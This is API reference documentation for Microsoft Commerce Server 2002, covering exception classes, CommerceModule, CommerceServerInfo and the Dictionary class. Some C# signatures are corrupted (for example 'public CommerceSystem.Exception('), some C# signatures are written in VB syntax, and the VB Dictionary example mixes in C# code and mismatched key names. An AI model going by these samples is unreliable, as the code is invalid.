CommerceException Constructor(String, COMException) | Creates a new instance of the CommerceException class with a specified error message and a reference to the inner COM exception that is the cause of this exception.
CommerceException Constructor(String, Exception) | Creates a new instance of the CommerceException class with a specified error message and a reference to the inner exception that is the cause of this exception.

Protected Instance Constructor

Constructor | Description
CommerceException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceException class with the specified serialization information and streaming context.


CommerceException Constructor (BCL)

Use this method to create a new instance of the CommerceException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceException class with a specified error message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal msg As System.String _
)
[C#]
public CommerceException(
  System.String msg
);

Parameters

[Visual Basic .NET]
msg
The error message.
[C#]
msg
The error message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceException Constructor (String, COMException) (BCL)

Use this method to create a new instance of the CommerceException class with a specified error message and inner COM exception that is the cause for this exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal msg As System.String, _
  ByVal comException As System.Runtime.InteropServices.COMException _
)
[C#]
public CommerceException(
  System.String msg,
  System.Runtime.InteropServices.COMException comException
);

Parameters

[Visual Basic .NET]
msg
The error message.
comException
The COM exception.
[C#]
msg
The error message.
comException
The COM exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceException class with a specified error message and a reference to the inner exception that is the cause of this exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal msg As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceSystem.Exception(
  System.String msg,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
msg
The error message.
inner
The inner exception.
[C#]
msg
The error message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData(SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceModule Class (BCL)

All Commerce Server modules inherit from the CommerceModule class. The CommerceModule class inherits from IHttpModule.

Protected Instance Constructor

Constructor | Description
CommerceModule | Creates a new instance of the CommerceModule class.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.

Public Instance Properties

Property | Description
IsInitialized | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.

Protected Instance Methods

Property | Description
DeclareModuleDependency(Type, Type) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModule Constructor (BCL)

Protected Instance Constructor

Constructor | Description
CommerceModule | Creates a new instance of the CommerceModule class.


CommerceModule Constructor (BCL)

Use this method to create a new instance of the CommerceModule class.

Definition

[Visual Basic .NET]
Protected Sub New( _
)
[C#]
protected CommerceModule(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModule Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.

Protected Instance Methods

Property | Description
DeclareModuleDependency(Type, Type) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


CommerceModule.DeclareModuleDependency (Type, Type) Method (BCL)

Use this method to declare a dependency on another CommerceModule class, by type.

Definition

[Visual Basic .NET]
Protected Shared Sub DeclareModuleDependency( _
  ByVal moduleType As System.Type, _
  ByVal dependentType As System.Type _
)
[C#]
protected static void DeclareModuleDependency(
  System.Type moduleType,
  System.Type dependentType
);

Parameters

[Visual Basic .NET]
moduleType
The System.Type that represents the type of module this module is dependent upon. May not be null.
dependentType
The System.Type of the dependent module.
[C#]
moduleType
The System.Type that represents the type of module this module is dependent upon. May not be null.
dependentType
The System.Type of the dependent module.

Remarks

Throws the CommerceModuleDependencyException when the module that this module is dependent upon does not exist. Throws the ArgumentNullException when one of the required arguments was passed as a null value.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModule.DeclareResourceDependency (String, Type) Method (BCL)

Use this method to declare a dependency on a Commerce Server site resource.

Definition

[Visual Basic .NET]
Protected Shared Sub DeclareResourceDependency( _
  ByVal resourceName As System.String, _
  ByVal dependentType As System.Type _
)
[C#]
protected static void DeclareResourceDependency(
  System.String resourceName,
  System.Type dependentType
);

Parameters

[Visual Basic .NET]
resourceName
Name of the Commerce Server resource that the module depends on. May not be null.
dependentType
The System.Type of the dependent module.
[C#]
resourceName
Name of the Commerce Server resource that the module depends on. May not be null.
dependentType
The System.Type of the dependent module.

Remarks

Throws the CommerceResourceDependencyException when the resource that the module is dependent upon does not exist. Throws the ArgumentNullException when one of the required arguments was passed as a null value.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModule.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Overrides Public Sub Dispose( _
)
[C#]
public override void Dispose(
);

Implements

System.Web.IHttpModule

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModule.Dispose(Boolean) Method

Use this method to release the unmanaged resources used by this object and optionally release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModule.Init(HttpApplication) Method (BCL)

Use this method to initialize the module and set up the event handlers.

Definition

[Visual Basic .NET]
Overrides Public Sub Init( _
  ByVal appInstance As System.Web.HttpApplication _
)
[C#]
public override void Init(
  System.Web.HttpApplication appInstance
);

Parameters

[Visual Basic .NET]
appInstance
The current HttpApplication instance.
[C#]
appInstance
The current HttpApplication instance.

Implements

System.Web.IHttpModule

Remarks

This method sets the IsInitialized property to true when complete.

The method throws a CommerceResourceDependencyException when the associated Commerce Server resource of a known cache type is not found.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModule Properties (BCL)

Public Instance Properties

Property | Description
IsInitialized | Gets a Boolean that is set to True when the CommerceModule class instance has been initialized.


CommerceModule.IsInitialized Property (BCL)

The IsInitialized property is a read-only Boolean that is set to True when the CommerceModule class instance has been initialized.

Definition

[Visual Basic .NET]
Public ReadOnly Property IsInitialized As System.Boolean
[C#]
public System.Boolean IsInitialized {get;}

Property Value

Set to true when the CommerceModule class instance has been initialized, false otherwise.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModuleDependencyException Class (BCL)

Exception raised when a module depends on another module that has not been configured.

Public Instance Constructor

Constructor | Description
CommerceModuleDependencyException Constructor | Creates a new instance of the CommerceModuleDependencyException class.
CommerceModuleDependencyException Constructor(String) | Creates a new instance of the CommerceModuleDependencyException class with the specified message.
CommerceModuleDependencyException Constructor(String, Exception) | Creates a new instance of the CommerceModuleDependencyException class with the specified message and inner exception.
CommerceModuleDependencyException Constructor(String, String) | Creates a new instance of the CommerceModuleDependencyException class with the specified module names.

Protected Instance Constructor

Constructor | Description
CommerceModuleDependencyException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceModuleDependencyException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModuleDependencyException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceModuleDependencyException Constructor | Creates a new instance of the CommerceModuleDependencyException class.
CommerceModuleDependencyException Constructor(String) | Creates a new instance of the CommerceModuleDependencyException class with the specified message.
CommerceModuleDependencyException Constructor(String, Exception) | Creates a new instance of the CommerceModuleDependencyException class with the specified message and inner exception.
CommerceModuleDependencyException Constructor(String, String) | Creates a new instance of the CommerceModuleDependencyException class with the specified module names.

Protected Instance Constructor

Constructor | Description
CommerceModuleDependencyException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceModuleDependencyException class with the specified serialization information and streaming context.


CommerceModuleDependencyException Constructor (BCL)

Use this method to create a new instance of the CommerceModuleDependencyException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceModuleDependencyException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModuleDependencyException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceModuleDependencyException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceModuleDependencyException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModuleDependencyException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceModuleDependencyException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal msg As System.String _
)
[C#]
public CommerceModuleDependencyException(
  System.String msg
);

Parameters

[Visual Basic .NET]
msg
The exception message.
[C#]
msg
The exception message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModuleDependencyException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceModuleDependencyException class with the specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal msg As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceModuleDependencySystem.Exception(
  System.String msg,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
msg
The exception message.
inner
The inner exception.
[C#]
msg
The exception message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModuleDependencyException Constructor (String, String) (BCL)

Use this method to create a new instance of the CommerceModuleDependencyException class with the specified module names.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal missingModule As System.String, _
  ByVal dependentModule As System.String _
)
[C#]
public CommerceModuleDependencyException(
  System.String missingModule,
  System.String dependentModule
);

Parameters

[Visual Basic .NET]
missingModule
The name of the missing module.
dependentModule
The name of the dependent module.
[C#]
missingModule
The name of the missing module.
dependentModule
The name of the dependent module.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModuleDependencyException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceModuleDependencyException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceModuleDependencyException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceResourceDependencyException Class (BCL)

Exception raised when a resource does not exist in the Commerce Server Administration database.

Public Instance Constructor

Constructor | Description
CommerceResourceDependencyException Constructor | Creates a new instance of the CommerceResourceDependencyException class.
CommerceResourceDependencyException Constructor(String) | Creates a new instance of the CommerceResourceDependencyException class with the specified message.
CommerceResourceDependencyException Constructor(String, Exception) | Creates a new instance of the CommerceResourceDependencyException class with the specified message and inner exception.
CommerceResourceDependencyException Constructor(String, String) | Creates a new instance of the CommerceResourceDependencyException class with the specified resource and module.

Protected Instance Constructor

Constructor | Description
CommerceResourceDependencyException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceResourceDependencyException class with the specified serialization information and streaming context

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceDependencyException Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceResourceDependencyException Constructor | Creates a new instance of the CommerceResourceDependencyException class.
CommerceResourceDependencyException Constructor(String) | Creates a new instance of the CommerceResourceDependencyException class with the specified message.
CommerceResourceDependencyException Constructor(String, Exception) | Creates a new instance of the CommerceResourceDependencyException class with the specified message and inner exception.
CommerceResourceDependencyException Constructor(String, String) | Creates a new instance of the CommerceResourceDependencyException class with the specified resource and module.

Protected Instance Constructor

Constructor | Description
CommerceResourceDependencyException(SerializationInfo, StreamingContext) | Creates a new instance of the CommerceResourceDependencyException class with the specified serialization information and streaming context


CommerceResourceDependencyException Constructor (BCL)

Use this method to create a new instance of the CommerceResourceDependencyException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceResourceDependencyException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceDependencyException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the CommerceResourceDependencyException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected CommerceResourceDependencyException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceDependencyException Constructor (String) (BCL)

Use this method to create a new instance of the CommerceResourceDependencyException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal msg As System.String _
)
[C#]
public CommerceResourceDependencyException(
  System.String msg
);

Parameters

[Visual Basic .NET]
msg
The exception message.
[C#]
msg
The exception message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceDependencyException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the CommerceResourceDependencyException class with the specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal msg As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public CommerceResourceDependencySystem.Exception(
  System.String msg,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
msg
The exception message.
inner
The inner exception.
[C#]
msg
The exception message.
inner
The inner exception.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceDependencyException Constructor (String, String) (BCL)

Use this method to create a new instance of the CommerceResourceDependencyException class with the specified resource and module.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal resourceName As System.String, _
  ByVal moduleName As System.String _
)
[C#]
public CommerceResourceDependencyException(
  System.String resourceName,
  System.String moduleName
);

Parameters

[Visual Basic .NET]
resourceName
A String specifying the name of the resource.
moduleName
A String specifying the name of the module.
[C#]
resourceName
A String specifying the name of the resource.
moduleName
A String specifying the name of the module.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceDependencyException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceResourceDependencyException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceDependencyException Properties (BCL)

Public Instance Properties

Property | Description
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


CommerceServerInfo Class (BCL)

Gets the installed culture for Commerce Server 2002.

Public Static (Shared) Properties

Property | Description
InstalledProductCulture | Returns the installed culture for Commerce Server.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


CommerceServerInfo Properties (BCL)

Public Static (Shared) Properties

Property | Description
InstalledProductCulture | Returns the installed culture for Commerce Server.


CommerceServerInfo.InstalledProductCulture Property (BCL)

The InstalledProductCulture property is a read-only String that returns the installed culture for Commerce Server.

Definition

[Visual Basic .NET]
Public ReadOnly Property InstalledProductCulture As System.String
[C#]
public System.String InstalledProductCulture {get;}

Property Value

The installed culture for Commerce Server.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Shared.dll


Dictionary Class (BCL)

Use this object to support the creation, storage, and retrieval of name/value pairs in memory. Every value in a Dictionary object is an Object, which means you can create a Dictionary object that consists of almost any kind of value (including other Dictionary objects), and that you can store any combination of Object types in the same Dictionary object.

Public Instance Methods

Method | Description
GetEnumerator | Returns an enumerator for Dictionary objects

Public Instance Properties

Property | Type | Description
Count | Integer | Returns the number of elements in the Dictionary object. This property is read-only.
Prefix | String | Stores the string that acts as a filter when the contents of the Dictionary object are saved (usually to a database). When the name of a name/value pair begins with the specified prefix, that name/value pair is not saved. This property is read/write.
Value | Object | Stores the value of a given Dictionary key. This property is read/write.

Remarks

[Visual Basic .NET]

Because a Dictionary object is designed to be a general-purpose collection, you can use it for almost anything that its internal structure supports.

Dim dictUser As Dictionary

After instantiating the object, you can add elements to it, as follows:

dictUser.Value( “firstName” ) = "Steve"

In this example, first_name is a Dictionary key, and Steve becomes the assigned value of this key. Each statement actually accomplishes three functions: declaring the Dictionary key, adding that key to the Dictionary object, and setting the key to a value.

You can use the Value method to get the value of a given key:

my_first_name = dictUser.Value("first_name")

You can also use the For Each statement in Microsoft Visual Basic Scripting Edition (VBScript) to enumerate through the keys or the values of a Dictionary object as follows (this example assumes that every value in the dictionary contains text):

' // Get the key names and values

For Each element In dictUser

Console.WriteLine(“name = {0}; value = {1}”, element, dictUser[element]);

        Next

The data in a Dictionary object can be saved in a database table by using the DBStorage object.

Commerce Server 2002 sites use implementations of the Dictionary object to store sets of data that are required by various other objects and pipeline components.

Unlike previous versions of the dictionary, the dictionary in Commerce Server 2002 is implemented as a hash of name value pairs. This enables the dictionary to perform fast lookups even when a large number of key/value pairs are stored. It also has the side effect that enumerations of dictionary keys may not be returned in the same order they are stored.

The Dictionary object supports the ICloneable and IPersistXML interfaces. Use the ICloneable interface to deep copy all name/value pairs into a new dictionary. Use the IPersistXML interface to convert the Dictionary entries into an XML string and back again.

[C#]

Because a Dictionary object is designed to be a general-purpose collection, you can use it for almost anything that its internal structure supports.

When you need to create a Dictionary object explicitly (that is, when the object is not created for you by some other Commerce Server 2002 object), use the standard creation with new as follows:

using Microsoft.CommerceServer.Interop;
…
Dictionary dictUser = new Dictionary();

After creating the object, you can add elements to it, as follows:

dictUser[“firstName”] = "Steve";

In this example, “firstName” is a Dictionary key, and “Steve” becomes the assigned value of this key. Each statement actually accomplishes three functions: declaring the Dictionary key, adding that key to the Dictionary object, and setting the key to a value.

You can extract values from a Dictionary object in several ways. You can simply place the object.key identifier on the right side of the assignment statement. Such an assignment returns the value of the referenced key:

using Microsoft.CommerceServer.Interop;
Commerce.IDictionary dictUser = new Dictionary();
dictUser["key1"] = "value1";
string s = dictUser["key1"].ToString();

You can also use the foreach statement in Microsoft C# to enumerate through the keys or the values of a Dictionary object as follows (this example assumes that every value in the dictionary contains text):

// Get the key names and values
foreach ( string name in dictUser )
    Console.WriteLine(“name = {0}; value = {1}”, name, dictUser[name]);

The data in a Dictionary object can be saved in a database table by using the Microsoft.CommerceServer.Interop.Orders.DBStorage object.

Commerce Server 2002 sites use implementations of the Dictionary object to store sets of data that are required by various other objects and pipeline components.

